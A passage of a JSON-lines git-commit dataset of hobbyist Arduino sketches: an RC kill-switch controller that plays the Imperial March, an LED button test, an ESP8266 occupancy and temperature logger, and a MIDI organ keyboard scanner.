0<=X<=50\n\n\n\n\/\/Render vars\nuint8_t Rendertime = 1; \/\/2 times per second telemetry render to Serial port\nuint8_t LED13time = 3; \/\/1 time per second flashing\nbool LED13On = false; \/\/service LED13 ON\/OFF flag\nbool LED13Onflag = false; \/\/LED13 flag for one time switching\nuint8_t EngineSTOPtime = 3; \/\/1 time per second flashing (red)\nbool EngineSTOPMainLEDOn = false; \/\/EngineSTOP ON\/OFF flag\nbool EngineSTOPMainLEDOnflag = false; \/\/EngineSTOP flag for one time switching\nuint8_t StatusLowBatttime = 1; \/\/2 times per second flashing (greed)\nbool StatusLowBattMainLEDOn = false; \/\/LowBatt ON\/OFF flag\nbool StatusLowBattMainLEDOnflag = false; \/\/LowBatt flag for one time switching\nbool StatusNoRXMainLEDOn = false; \/\/NoRX ON\/OFF flag (4 times per second blue flashing, no timer counter needed)\nbool StatusNoRXMainLEDOnflag = false; \/\/NoRX flag for one time switching\n\n\n\/\/Beeper vars\nuint8_t BeeperTime = 1; \/\/1 time per second beeps\nbool BeeperActive = false; \/\/beeper activate switch flag\nbool BeeperOn = false; \/\/Beeper ON\/OFF flag\nbool BeeperOnflag = false; \/\/Beeper ON\/OFF flag for one time switching\nbool BeeperPingFlag = false; \/\/Beeper Ping flag\n\n\/\/EMPERIAL MARCH\nconst int c = 261;\nconst int d = 294;\nconst int e = 329;\nconst int f = 349;\nconst int g = 391;\nconst int gS = 415;\nconst int a = 440;\nconst int aS = 455;\nconst int b = 466;\nconst int cH = 523;\nconst int cSH = 554;\nconst int dH = 587;\nconst int dSH = 622;\nconst int eH = 659;\nconst int fH = 698;\nconst int fSH = 740;\nconst int gH = 784;\nconst int gSH = 830;\nconst int aH = 880;\nconst int buzzerPin = BEEPER_PIN;\nconst int ledPin1 = MAIN_LED_G;\nconst int ledPin2 = MAIN_LED_B;\nint counter = 0;\n \n\n\/\/ ================================================================\n\/\/ === INITIAL SETUP ===\n\/\/ ================================================================\n\n\n \nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(38400);\n Serial.println(\"Starting readings\");\n Wire.begin();\n \n \/\/Setup the LED pin as an output:\n pinMode(LED_PIN, OUTPUT);\n pinMode(MAIN_LED_R, OUTPUT);\n pinMode(MAIN_LED_G, OUTPUT);\n pinMode(MAIN_LED_B, OUTPUT);\n \n\/\/Setup Servo and PPM\n pinMode(SERVO_TEST_OUTPIN, OUTPUT);\n myservo.attach(SERVO_TEST_OUTPIN);\n pinMode(KILLSWITCH_INPIN, INPUT);\n pinMode(KILLSWITCH_OUTPIN, OUTPUT);\n digitalWrite(KILLSWITCH_INPIN, HIGH);\n attachInterrupt(0,KillSWHandler,CHANGE);\n\n\/\/Setup timers, run every 250ms\nint tickEvent = m_timer.every(250, MainTimerHandler); \n\n\/\/Setup system mode to first start for normal use interrupts \n SystemMode = SYSTEM_FIRST_START;\n \n}\n\n\/\/-----------------------------------------------------------------\n\nvoid FirstTimeRunInit(){\n \/\/reset counters\n KillSWPressLaststime=millis(); \n KillSWPressCounter=0;\n EngineSTOPflag=false; \n readMainBattVoltage();\n MainBattVoltageCount=0;\n MainBattVoltageSum=0.0;\n MainBattVoltageAveragetime=7;\n MainBattVoltageAverage=MainBattVoltage;\n\n \/\/ ResetEEPROMConfig();\n if (!ReadEEPROMConfig()) {WriteEEPROMConfig();}\n\n if (KillSWTime >= PPMSwitchLevel)\n {\n \/\/Switch in Upper position\n SwitchPOS=false;\n SwitchPOSUp=true;} else \n {\n \/\/Switch in Upper position\n SwitchPOS=true;\n SwitchPOSUp=false;}\n\n}\n\n\n\/\/ ================================================================\n\/\/ === HARDWARE READINGS ===\n\/\/ ================================================================\n\nvoid readMainBattVoltage(){\nint value =0;\nfloat vout=0;\n value = analogRead(MainBattVoltagePin);\n vout = (value * V_REF) \/ 1024.0;\n MainBattVoltage = (vout \/ (MainBattR2\/(MainBattR1+MainBattR2))) + MAIN_BATT_VADD;\n}\n \n\/\/-----------------------------------------------------------------\n\n\nvoid readServoTester(){\n ServoInValue=analogRead(SERVO_TEST_INPIN);\n ServoOutMS = map(ServoInValue,0,1023,1000,2000);\n}\n\n\/\/-----------------------------------------------------------------\n\n\n\/\/ ================================================================\n\/\/ === OTHER FUNCTIONS\/PROCEDURES ===\n\/\/ ================================================================\n\n\/\/Imperial march section\nvoid beep(int note, int duration)\n{\n\/\/Play tone on buzzerPin\ntone(buzzerPin, note, duration);\n \n\/\/Play different LED depending on value of 'counter'\nif(counter % 2 == 0)\n{\ndigitalWrite(ledPin1, HIGH);\ndelay(duration);\ndigitalWrite(ledPin1, LOW);\n}else\n{\ndigitalWrite(ledPin2, HIGH);\ndelay(duration);\ndigitalWrite(ledPin2, LOW);\n}\n \n\/\/Stop tone on buzzerPin\nnoTone(buzzerPin);\n \ndelay(50);\n \n\/\/Increment counter\ncounter++;\n}\n\nvoid firstSection()\n{\nbeep(a, 500);\nbeep(a, 500);\nbeep(a, 500);\nbeep(f, 350);\nbeep(cH, 150);\nbeep(a, 500);\nbeep(f, 350);\nbeep(cH, 150);\nbeep(a, 650);\n \ndelay(500);\n \nbeep(eH, 500);\nbeep(eH, 500);\nbeep(eH, 500);\nbeep(fH, 350);\nbeep(cH, 150);\nbeep(gS, 500);\nbeep(f, 350);\nbeep(cH, 150);\nbeep(a, 650);\n \ndelay(500);\n}\n \nvoid secondSection()\n{\nbeep(aH, 500);\nbeep(a, 300);\nbeep(a, 150);\nbeep(aH, 500);\nbeep(gSH, 325);\nbeep(gH, 175);\nbeep(fSH, 125);\nbeep(fH, 125);\nbeep(fSH, 250);\n \ndelay(325);\n \nbeep(aS, 250);\nbeep(dSH, 500);\nbeep(dH, 325);\nbeep(cSH, 175);\nbeep(cH, 125);\nbeep(b, 125);\nbeep(cH, 250);\n \ndelay(350);\n}\n\nvoid ImperialMarch(){\n\/\/Play first section\nfirstSection();\n \n\/\/Play second section\nsecondSection();\n \n\/\/Variant 1\nbeep(f, 250);\nbeep(gS, 500);\nbeep(f, 350);\nbeep(a, 125);\nbeep(cH, 500);\nbeep(a, 375);\nbeep(cH, 125);\nbeep(eH, 650);\n \ndelay(500);\n\n \n\/\/Repeat second section\nsecondSection();\n \n\/\/Variant 2\nbeep(f, 250);\nbeep(gS, 500);\nbeep(f, 375);\nbeep(cH, 125);\nbeep(a, 500);\nbeep(f, 375);\nbeep(cH, 125);\nbeep(a, 650);\n \ndelay(650);\n\n\n\n}\n\n\/\/-----------------------------------------------------------------\n\nvoid ResetEEPROMConfig(){\n \/\/write header1\n EEPROM.write(0,00);\n EEPROM.write(35,00);\n}\n\n\/\/-----------------------------------------------------------------\n\n\nbool ReadEEPROMConfig(){\n uint8_t b,b2 =0;\n int w = 0;\n bool newc = true;\n\/\/headers read. if =35 then EEPROM used, else EEPROM clean and use constants\n b=EEPROM.read(0);\n b2=EEPROM.read(35);\n if (b!=35 && b2!=35 ) {\n \/\/EEPROM is clear(new device) and setup variables to default values \n PPMLowerLevel = DEF_LOWER_PPM_LEVEL;\n PPMUpperLevel = DEF_UPPER_PPM_LEVEL; \n PPMSwitchLevel = DEF_KILLSWITCH_LEVEL;\n UseNoRXEngineSTOP = false;\n MainBattType = BATT_LIFE;\n newc=true;\n }\n else {\n \/\/read config from EEPROM!\n PPMLowerLevel = EEPROMReadInt(1);\n PPMUpperLevel = EEPROMReadInt(3);\n PPMSwitchLevel = EEPROMReadInt(5);\n b=EEPROM.read(7);\n if (b==3) {UseNoRXEngineSTOP=true;} else if (b==5) {UseNoRXEngineSTOP=false;}\n MainBattType=EEPROM.read(8);\n newc=false;\n }\n\n \n switch (MainBattType) {\n case BATT_LIFE:\n MainBattLowVoltageLevel1 = BATT_LIFE_LEVEL1;\n MainBattLowVoltageLevel2 = BATT_LIFE_LEVEL2;\n break;\n case BATT_LIPO:\n MainBattLowVoltageLevel1 = BATT_LIPO_LEVEL1;\n MainBattLowVoltageLevel2 = BATT_LIPO_LEVEL2;\n break;\n }\n \n \n return newc;\n}\n\n\n\/\/-----------------------------------------------------------------\n\nvoid WriteEEPROMConfig(){\n \/\/write header1\n EEPROM.write(0,35);\n EEPROMWriteInt(1,PPMLowerLevel);\n EEPROMWriteInt(1,PPMUpperLevel);\n EEPROMWriteInt(1,PPMSwitchLevel);\n if (UseNoRXEngineSTOP) {EEPROM.write(7, 3);} else {EEPROM.write(7, 5);}\n EEPROM.write(8,MainBattType);\n \/\/write header2\n EEPROM.write(35,35);\n}\n\n\n\/\/-----------------------------------------------------------------\n\nunsigned int EEPROMReadInt(int p_address)\n {\n byte lowByte = EEPROM.read(p_address);\n byte highByte = EEPROM.read(p_address + 1);\n\n return ((lowByte << 0) & 0xFF) + ((highByte << 8) & 0xFF00);\n }\n\n\/\/-----------------------------------------------------------------\n\nvoid EEPROMWriteInt(int p_address, int p_value)\n {\n byte lowByte = ((p_value >> 0) & 0xFF);\n byte highByte = ((p_value >> 8) & 0xFF);\n\n EEPROM.write(p_address, lowByte);\n EEPROM.write(p_address + 1, highByte);\n }\n\n\n\/\/-----------------------------------------------------------------\n\/\/-----------------------------------------------------------------\n\/\/-----------------------------------------------------------------\n\/\/-----------------------------------------------------------------\n\/\/ ================================================================\n\/\/ === HARDWARE HANDLERS ===\n\/\/ ================================================================\n\nvoid KillSWHandler(){\n\/\/reset packets counter\n if (KillSWCounter >= 50) { KillSWCounter=1;} \n\n\/\/reading PPM signal from channel\n if (digitalRead(KILLSWITCH_INPIN) == HIGH) \n {KillSWTime1 = micros(); } \n else {KillSWTime2 = micros();\n \/\/counter overflow correction (~70min)\n if (KillSWTime2<KillSWTime1) {KillSWTime2=KillSWTime1+100;}\n \/\/calc PPM signal length and packets count\n KillSWTime = KillSWTime2 - KillSWTime1;\n KillSWCounter++;\n if (KillSWCounter>MaxKillSWCounter) { MaxKillSWCounter = KillSWCounter;} \n }\n\n\/\/switch handling\n if (KillSWTime >= PPMSwitchLevel)\n {\/\/Switch in Upper position\n SwitchPOS=false;\n SwitchPOSUp=true;}\n else \n { \n \/\/Switch in Lower position and if last position is Upper then proccessing for only one time change\n if (SwitchPOSUp)\n {SwitchPOS=true; \n \/\/increment switch press counter for options\n KillSWPressCounter++;\n KillSWPressCounterChange=true;\n \/\/reset position change flag\n SwitchPOSUp=false;\n }\n }\n}\n\n\/\/-----------------------------------------------------------------\n\/\/ ================================================================\n\/\/ === SOFTWARE HANDLERS ===\n\/\/ ================================================================\n\nvoid MainStateHandler(){\n\n if (digitalRead(SYSTEM_SERVICE_PIN)==HIGH) {SystemServiceMode=true;} else {SystemServiceMode=false;}\n\n \/\/Engine STOP handling\n \/\/in Normal operating mode Engine stop signal equal Switch position\n if (SystemMode==SYSTEM_NORMAL){EngineSTOP=SwitchPOS;\n } \n if (!EngineSTOP) {\n \/\/prevent high speed duplicate switching with potential glitches. \n if (EngineSTOPflag) {digitalWrite(KILLSWITCH_OUTPIN, HIGH); \n tone(BEEPER_PIN,2300,30);\n EngineSTOPflag=false;\n LastEngineSTOP=EngineSTOP;\n }\n } \n else \n {digitalWrite(KILLSWITCH_OUTPIN, LOW);\n if (EngineSTOP!=LastEngineSTOP) {tone(BEEPER_PIN,200,30);} \n LastEngineSTOP=EngineSTOP;\n EngineSTOPflag=true;}\n\n \/\/LowBatt handling\n if (StatusLowBatt) {\n EngineSTOP=true;}\n\n \/\/NoRX handling\n if (MaxKillSWCounter <=1) {\n StatusNoRX=true;\n \/\/EngineSTOP = LastEngineSTOP; \n } else {StatusNoRX=false;}\n\n \n \/\/if Switch pressed(from Up to Down) then handling options \n if (millis()-KillSWPressLaststime<=BEEPER_ACT_PERIOD && KillSWPressCounter>=1) \n { \n switch (KillSWPressCounter) {\n case 3: \n BeeperActive=!BeeperActive;\n LED13Active=BeeperActive;\n KillSWPressCounter=0;\n KillSWPressCounterChange=false;\n KillSWPressLaststime=millis();\n break; \n case 1: \n \/\/start time for BEEPER_ACT_PERIOD period\n if (KillSWPressCounterChange) {KillSWPressLaststime=millis(); KillSWPressCounterChange=false;} \n break; \n } \n }\n\n \/\/reset Switch press counter if passed BEEPER_ACT_PERIOD time period \n if (millis()-KillSWPressLaststime>BEEPER_ACT_PERIOD) {KillSWPressCounter=0; KillSWPressLaststime=millis(); } \n \n\/\/Flashings LEDs\n\/\/Beeping default fashing \n if (BeeperActive){\n if (BeeperOn && !BeeperOnflag) {\n \/\/tone(BEEPER_PIN,2300,400); \/\/decomment if use tone with frequency\n analogWrite(BEEPER_PIN,254);\n BeeperOnflag=true;\n } else {\n if (!BeeperOnflag) {\n \/\/noTone(BEEPER_PIN); \/\/decomment if use tone function\n analogWrite(BEEPER_PIN,0);\n }\n BeeperOnflag=false;\n }}\n\n\/\/LED13 default fashing \n if (LED13Active){\n if (LED13On && !LED13Onflag) {\n digitalWrite(LED_PIN,HIGH);\n LED13Onflag=true;\n } else {\n digitalWrite(LED_PIN,LOW);\n LED13Onflag=false;\n }} else {digitalWrite(LED_PIN,LOW);LED13Onflag=false;}\n\n\/\/NoRX flashing\n if (StatusNoRXMainLEDOn) { if (!StatusNoRXMainLEDOnflag) {analogWrite(MAIN_LED_B,255); StatusNoRXMainLEDOnflag=true;}} \n else {analogWrite(MAIN_LED_B,LOW);StatusNoRXMainLEDOnflag=false;}\n\n if (StatusLowBattMainLEDOn) { \n if (!StatusLowBattMainLEDOnflag) {analogWrite(MAIN_LED_G,255);StatusLowBattMainLEDOnflag=true;}} \n else {analogWrite(MAIN_LED_G,LOW);StatusLowBattMainLEDOnflag=false;}\n\n if (EngineSTOPMainLEDOn) { \n if (!EngineSTOPMainLEDOnflag) {analogWrite(MAIN_LED_R,255);EngineSTOPMainLEDOnflag=true;}}\n else {analogWrite(MAIN_LED_R,LOW);EngineSTOPMainLEDOnflag=false;}\n\n}\n\n\/\/-----------------------------------------------------------------\n\nvoid CheckServoTester(){\n if (SystemServiceMode) {\n readServoTester();\n if (ServoOutMS != ServoLastOutMS) {\n myservo.writeMicroseconds(ServoOutMS);\n ServoLastOutMS = ServoOutMS;\n }}\n}\n\n\/\/-----------------------------------------------------------------\n\nvoid MainTimerHandler(){\n readMainBattVoltage();\n \/\/calc voltage sum for one more 250ms step\n MainBattVoltageSum+=MainBattVoltage;\n MainBattVoltageCount++;\n\n if ( MainBattVoltageAveragetime == 0 ){\n MainBattVoltageAverage=MainBattVoltageSum \/ MainBattVoltageCount;\n MainBattVoltageCount=0;\n MainBattVoltageSum=0.0;\n MainBattVoltageAveragetime=7;\n } else MainBattVoltageAveragetime--;\n \n \n \/\/if average voltage between Level2 < X <= Level1, setup LowBatt state and \"soft\" ignition blocking\n if (MainBattVoltageAverage > MainBattLowVoltageLevel2 && MainBattVoltageAverage <= MainBattLowVoltageLevel1) \n {StatusLowBatt = true;}\n else {StatusLowBatt=false;}\n \n if (MainBattVoltageAverage <= MainBattLowVoltageLevel2) \n {EngineSTOP=true;\n StatusLowBatt = true;\n SystemMode = SYSTEM_IMPERIAL_MARCH;}\n\n\n\/\/render telemetry \n if ( Rendertime == 0 ){\n \n switch (SystemMode) {\n case SYSTEM_NORMAL: \n Serial.print(\"NORMAL \");\n break;\n case SYSTEM_FIRST_START: \n Serial.print(\"FIRST \"); \n break;\n case SYSTEM_IMPERIAL_MARCH: \n Serial.print(\"IMPERIAL \"); \n break;\n case SYSTEM_MENU_M: \n Serial.print(\"MENU_M \"); \n break;\n case SYSTEM_MENU_1_CAL: \n Serial.print(\"MENU_1 \"); \n break; \n case SYSTEM_MENU_2_BTYPE: \n Serial.print(\"MENU_2 \"); \n break; \n case SYSTEM_MENU_3_RX: \n Serial.print(\"MENU_3 \"); \n break;\n} \n \n Serial.print(\"KSW : \");Serial.print(!EngineSTOP);Serial.print(\" \/ \");Serial.print(MaxKillSWCounter);Serial.print(\" \/ \");Serial.print(KillSWPressCounter); \n Serial.print(\" | Service\/NoRX\/LowBatt\/Beeper : \");Serial.print(SystemServiceMode);Serial.print(\" \/ \");Serial.print(StatusNoRX);Serial.print(\" \/ \");Serial.print(StatusLowBatt);Serial.print(\" \/ \");Serial.print(BeeperActive);\n Serial.print(\" | VBatt\/Avg\/Type: \");Serial.print(MainBattVoltage);Serial.print(\" \/ \");Serial.print(MainBattVoltageAverage);Serial.print(\" \/ \");\n switch (MainBattType) {\n case BATT_LIFE: \n Serial.print(\"LiFE\");\n break;\n case BATT_LIPO: \n Serial.print(\"LiPO\"); \n break;\n default:\n Serial.print(\"Unk\");\n } \n \n Serial.print(\" | KSW time: \");Serial.print(ServoOutMS);Serial.print(\"\/\");Serial.println(KillSWTime);\n Rendertime=3;\n } else Rendertime--;\n\n\n\/\/LED flashing routines\n\/\/Beeper flashing\n if ( BeeperTime == 0 ){\n BeeperOn = !BeeperOn;\n BeeperTime=1;\n } else BeeperTime--;\n\n\n\/\/LED13 (develop)\n if ( LED13time == 0 ){\n LED13On = !LED13On;\n LED13time=3;\n } else LED13time--;\n\n\/\/NO RX Signal LED\n if (StatusNoRX) {\n StatusNoRXMainLEDOn = !StatusNoRXMainLEDOn;} else {StatusNoRXMainLEDOn=false;}\n \n\/\/EngineSTOP LED\n if ( EngineSTOPtime == 0 ){\n if (EngineSTOP) { EngineSTOPMainLEDOn = !EngineSTOPMainLEDOn; }\n else EngineSTOPMainLEDOn = false;\n EngineSTOPtime=3;\n } else EngineSTOPtime--;\n\n\/\/Low Batt voltage LED\n if ( StatusLowBatttime == 0 ){\n if (StatusLowBatt) { StatusLowBattMainLEDOn = !StatusLowBattMainLEDOn; } \n else StatusLowBattMainLEDOn = true;\n StatusLowBatttime=1;\n } else StatusLowBatttime--;\n\n\/\/reset packets counter after one second\n if (KillSWCounterTime==0) {\n MaxKillSWCounter=0;\n KillSWCounterTime=3;\n } else KillSWCounterTime--;\n\n\n \n}\n\n\/\/-----------------------------------------------------------------\n\nvoid MenuMHandler (){\n\n\n\n \n}\n\n\/\/-----------------------------------------------------------------\n\nvoid Menu1Handler (){\n\n\n\n \n}\n\n\/\/-----------------------------------------------------------------\n\nvoid Menu2Handler (){\n\n\n\n \n}\n\n\/\/-----------------------------------------------------------------\n\nvoid Menu3Handler (){\n\n\n\n \n}\n\n\/\/-----------------------------------------------------------------\n\n\/\/ ================================================================\n\/\/ === MAIN LOOP ===\n\/\/ ================================================================\n\nvoid loop() {\n m_timer.update();\n CheckServoTester();\n switch (SystemMode) {\n case SYSTEM_NORMAL: \n MainStateHandler(); \n break; \n case SYSTEM_FIRST_START:\n FirstTimeRunInit();\n SystemMode=SYSTEM_NORMAL;\n break;\n case SYSTEM_IMPERIAL_MARCH:\n MainStateHandler();\n ImperialMarch();\n break;\n case SYSTEM_MENU_M: \n MenuMHandler();\n break; \n case SYSTEM_MENU_1_CAL: \n Menu1Handler();\n break; \n case SYSTEM_MENU_2_BTYPE: \n Menu2Handler();\n break; \n case SYSTEM_MENU_3_RX: \n Menu2Handler();\n break; \n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'KillSwitchduino\/KillSwitchduino.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"f707401c8108e75be3dadd31aa97cc784efc5c88","subject":"testando led com botao, ta funcionando blz","message":"testando led com botao, ta funcionando blz\n","repos":"arruda\/tarc1,arruda\/tarc1","old_file":"codigo_led_botao.ino","new_file":"codigo_led_botao.ino","new_contents":"\nint FIRST_BUTTON_PIN = 2;\n\nconst int ledPin = 13; \/\/ the number of the LED pin\n\n\/\/ variables will change:\nint buttonState = 0; \/\/ variable for reading the pushbutton status\n\nvoid setup() {\n \/\/ initialize the LED pin as an output:\n pinMode(ledPin, OUTPUT);\n \/\/ initialize the pushbutton pin as an input:\n pinMode(buttonPin, INPUT);\n}\n\nvoid loop(){\n \/\/ read the state of the pushbutton value:\n buttonState = digitalRead(buttonPin);\n\n \/\/ check if the pushbutton is pressed.\n \/\/ if it is, the buttonState is HIGH:\n if (buttonState == HIGH) {\n \/\/ turn LED on:\n digitalWrite(ledPin, HIGH);\n }\n else {\n \/\/ turn LED off:\n digitalWrite(ledPin, LOW);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'codigo_led_botao.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"cd111bd335a18256ca96670bfc8b3629e5436818","subject":"Create HackspacePIREnv.ino","message":"Create HackspacePIREnv.ino","repos":"KitWallace\/CitizenSense","old_file":"ESP8266-code\/HackspacePIREnv.ino","new_file":"ESP8266-code\/HackspacePIREnv.ino","new_contents":"#include <ESP8266WiFi.h>\n#include <Wire.h>\n#include <Adafruit_HTU21DF.h>\n\n\/\/ Wifi\nconst char* ssid = \"ssid\";\nconst char* password = \"pw\";\n\n\n\/\/ datastream\nchar* pir_host = \"kitwallace.co.uk\";\nconst char* pir_streamId = \"stream\";\nconst char* pir_privateKey = \"private stream pk\";\n\n\/\/ anyonein\n\nchar* anyonein_host = \"bristol.hackspace.org.uk\";\nString anyonein_url = \"\/anyonein\/?sensor=movement\"; \n\n\/\/ PIR \nconst int pir_pin = D6;\nboolean pir_active ;\n\n\/\/ HTU21D\nAdafruit_HTU21DF htu = Adafruit_HTU21DF();\n\nvoid setup () {\n Serial.begin(9600);\n delay(10);\n\n\/\/ Temp - humidity \nAdafruit_HTU21DF htu = Adafruit_HTU21DF();\n\n\/\/ Connect to WiFi network\n Serial.println();\n Serial.println();\n Serial.print(\"Connecting to \");\n Serial.println(ssid);\n \n WiFi.begin(ssid, password);\n \n while (WiFi.status() != WL_CONNECTED) {\n delay(500);\n Serial.print(\".\");\n }\n Serial.println(\"\");\n Serial.println(\"WiFi connected\");\n \n\/\/ Print the IP address\n Serial.print(\"Use this URL to connect: \");\n Serial.print(\"http:\/\/\");\n Serial.print(WiFi.localIP());\n Serial.println(\"\/\");\n\n\/\/ PIR\n \n pinMode(pir_pin,INPUT);\n Serial.println(String(\"PIR on pin \") + pir_pin);\n\n\/\/ Start HTU\n htu.begin();\n\n delay(60*1000); \/\/PIR initialization\n}\n\nvoid loop() {\n\n long now = seconds(millis());\n\n\/\/ read PIR\n pir_active= digitalRead(pir_pin); \n Serial.println(String(\"sec=\") + now + \" PIR \" + pir_active);\n\n\n\/\/ RSSI for this AP \n int rssi = getRSSI(ssid);\n\n\/\/ temp\/humidity\n float temp = htu.readTemperature();\n float humidity =htu.readHumidity();\n\n\/\/ log the data\n String data =String(\"occupied=\") + pir_active+\"&rssi=\"+rssi+\"&temperatureC\"+temp +\"&humidity\" + humidity; \n Serial.println(data);\n log_data(data);\n if (pir_active = 1)\n log_anyonein();\n \n delay(60*1000);\n} \n\nint seconds(long ms) {\n return round(ms\/1000); \n}\n\n\/\/ Return RSSI or 0 if target SSID not found\nint getRSSI(const char* target_ssid) {\n byte available_networks = WiFi.scanNetworks();\n\n for (int network = 0; network < available_networks; network++) {\n if (WiFi.SSID(network)== String(target_ssid)) {\n return WiFi.RSSI(network);\n }\n }\n return 0;\n}\n\nvoid httpget(char * host, String url) {\n WiFiClient client;\n url.replace(\" \", \"+\");\n int httpPort = 80;\n while (true) {\n if (client.connect(host, httpPort)) break;\n Serial.println(\"connection failed\");\n delay(100);\n }\n \n Serial.println(\"connected \");\n Serial.print(\"requesting URL: \");\n Serial.println(url);\n\/\/ This will send the request to the server\n String httprequest = String(\"GET \") + url + \" HTTP\/1.1\\r\\n\" +\n \"Host: \" + host + \"\\r\\n\" + \n \"Connection: close\\r\\n\\r\\n\";\n\/\/ Serial.println(httprequest);\n client.print(httprequest);\n delay(100);\n \n \/\/ Read all the lines of the reply from server and print them to Serial\n while(client.available()){\n String line = client.readStringUntil('\\r');\n Serial.print(line);\n }\n \n Serial.println();\n Serial.println(\"closing connection\");\n}\n\nvoid log_anyonein() {\n httpget(anyonein_host,anyonein_url); \n}\n\nvoid log_data(String params) {\n String url = \"\/rt\/home.xq?_action=store&_id=\";\n url += pir_streamId;\n url += String(\"&_pk=\")+ pir_privateKey + \"&\";\n url += params;\n httpget(pir_host,url); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ESP8266-code\/HackspacePIREnv.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"22e193476cf3919c97432024184b3579a2baa817","subject":"Generalize MIDI example so infrastructure works w\/pedals.","message":"Generalize MIDI example so infrastructure works w\/pedals.\n","repos":"JDWarner\/organduino","old_file":"sketches\/midi_organ\/midi_organ.ino","new_file":"sketches\/midi_organ\/midi_organ.ino","new_contents":"#include <midi_Defs.h>\n#include <midi_Namespace.h>\n#include <midi_Settings.h>\n#include <midi_Message.h>\n#include <MIDI.h>\n\/*\n Test serial-MIDI commands from a 61-key keyboard.\n\n The circuit:\n * Single OrganDuino 2.0 PCB shield, populated with diodes\n * Solder jumper on back for rank 0 bridged\n * 61-key organ manual soldered in with buss soldered to a Drive Pin thru-hole\n\n created 2016 by @JDWarner\n*\/\n\n#define keyON 127\n#define keyOFF 0\n\n\/\/ Initialize MIDI\nMIDI_CREATE_DEFAULT_INSTANCE();\n\n\/\/ constants won't change. They're used here to\n\/\/ set pin numbers for first 2 octaves\nconst int keyPins[] = {28, 26, 24, 22, 13, 12, 11, 10, 9, 8, 7, 6, 14, 15, 16, 17, 18, 19, 20, 21, 27, 25, 23, 29, 31, 33, 35, 37, 39, 41, 43, 45, 47, 49, 51, 53, 66, 65, 64, 63, 62, 61, 60, 59, 58, 57, 56, 55, 54, 52, 50, 48, 46, 44, 42, 40, 38, 36, 34, 32, 30,};\nconst int rankPins[] = {5, }; \/\/ drive wire(s) for ranks\n\/*\n Note for reference, the analog -> digital pin mappings for the Mega are:\n A0 = 54\n A1 = 55\n A2 = 56\n A3 = 57\n A4 = 58\n A5 = 59\n A6 = 60\n A7 = 61\n A8 = 62\n A9 = 63\n A10 = 64\n A11 = 65\n A12 = 66\n A13 = 67\n A14 = 68\n A15 = 69\n*\/\n\n\/\/ define how large some things are (matrix size)\nconst int numKeys = 61; \/\/ full organ manual, also length of keyPins and midiKeyNotes\nconst int numPedals = 32; \/\/ full AGO 32-key pedalboard\nconst int numManuals = 1; \/\/ number of manuals\n\nconst unsigned char midiKeyNotes[numKeys] = {36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, };\nconst unsigned char midiChannels[numManuals + 1] = {1, 16, }; \/\/ Five manuals plus pedals (pedals always rank 16)\nconst int pedalChannel = numManuals; \/\/ Zero-indexed so this is the final entry (pedals)\n\n\/\/ State of all keys in a 2D multidimensional array\nbool keyStates[numManuals][numKeys] = {\n {false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, },\n};\n\n\/\/ State of all pedals in a 1D array\nbool pedalStates[numPedals] = {false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, false, }\n\n\n\/\/ Convenience func to convert a boolean to the proper MIDI key velocity\nint stateMIDIvalue(bool state) {\n if (state == true) {\n return keyON;\n }\n else {\n return keyOFF;\n }\n}\n\n\n\/\/ simple function to compare current state with new read\n\/\/ if different, state and LED are updated\n\/\/ We're using input_pullup so the switch is active when LOW!\n\/\/ Note: Internally changing `state` requires call-by-reference\nvoid keyChange(bool value, bool &state, int key, int channel) {\n \/\/ Compare them - `state` records inverse of switch read\n if (value == state) { \/\/ Equal means a change\n\n \/\/ Update values in state record\n state = not value;\n\n \/\/ If there is a state change, send a MIDI event\n MIDI.sendNoteOn(midiKeyNotes[key], stateMIDIvalue(state), channel);\n }\n}\n\n\n\/\/ function to handle the loop over a given rank, updating states\nvoid rankPoll(const int keyPins[], bool (&states)[], int arraySize, int rank) {\n for(int key=0; key<arraySize; key++){\n \/\/ run through all switches, reading their values\n \/\/ pass results to keyChange which will dispatch a MIDI event if needed\n keyChange(digitalRead(keyPins[key]), states[key], key, midiChannels[rank]);\n }\n}\n\n\nvoid setup() {\n \/\/ Start the Serial interface\n MIDI.begin(1);\n Serial.begin(115200);\n\n \/\/ drive pins per rank\n for(int d=0; d<numManuals; d++){\n pinMode(rankPins[d], OUTPUT);\n digitalWrite(rankPins[d], HIGH);\n }\n \/\/ initialize the organ keys' pins as inputs\n for(int k=0; k<numKeys; k++){\n pinMode(keyPins[k], INPUT_PULLUP);\n }\n}\n\n\nvoid loop() {\n \/\/ read manuals\n for(int manual=0; manual<numManuals; manual++){\n \/\/ pull the drive pin for this manual to GND\n digitalWrite(rankPins[manual], LOW);\n\n \/\/ poll all keys, sending MIDI events if warranted\n rankPoll(keyPins, keyStates[manual], numKeys, manual);\n\n \/\/ return the drive pin to +5V (off)\n digitalWrite(rankPins[manual], HIGH);\n }\n\n \/\/ read the pedals\n digitalWrite(pedalPin, LOW);\n rankPoll(pedalPins, pedalStates, numPedals, pedalChannel);\n digitalWrite(pedalPin, HIGH);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'sketches\/midi_organ\/midi_organ.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f4d79695b8b203dcff436c93faa1f147e9601574","subject":"Create BasicClicks.ino","message":"Create BasicClicks.ino","repos":"jonnieZG\/EButton","old_file":"examples\/BasicClicks\/BasicClicks.ino","new_file":"examples\/BasicClicks\/BasicClicks.ino","new_contents":"#include \"Arduino.h\"\n#include \"EButton.h\"\n\nEButton button(2);\n\nvoid 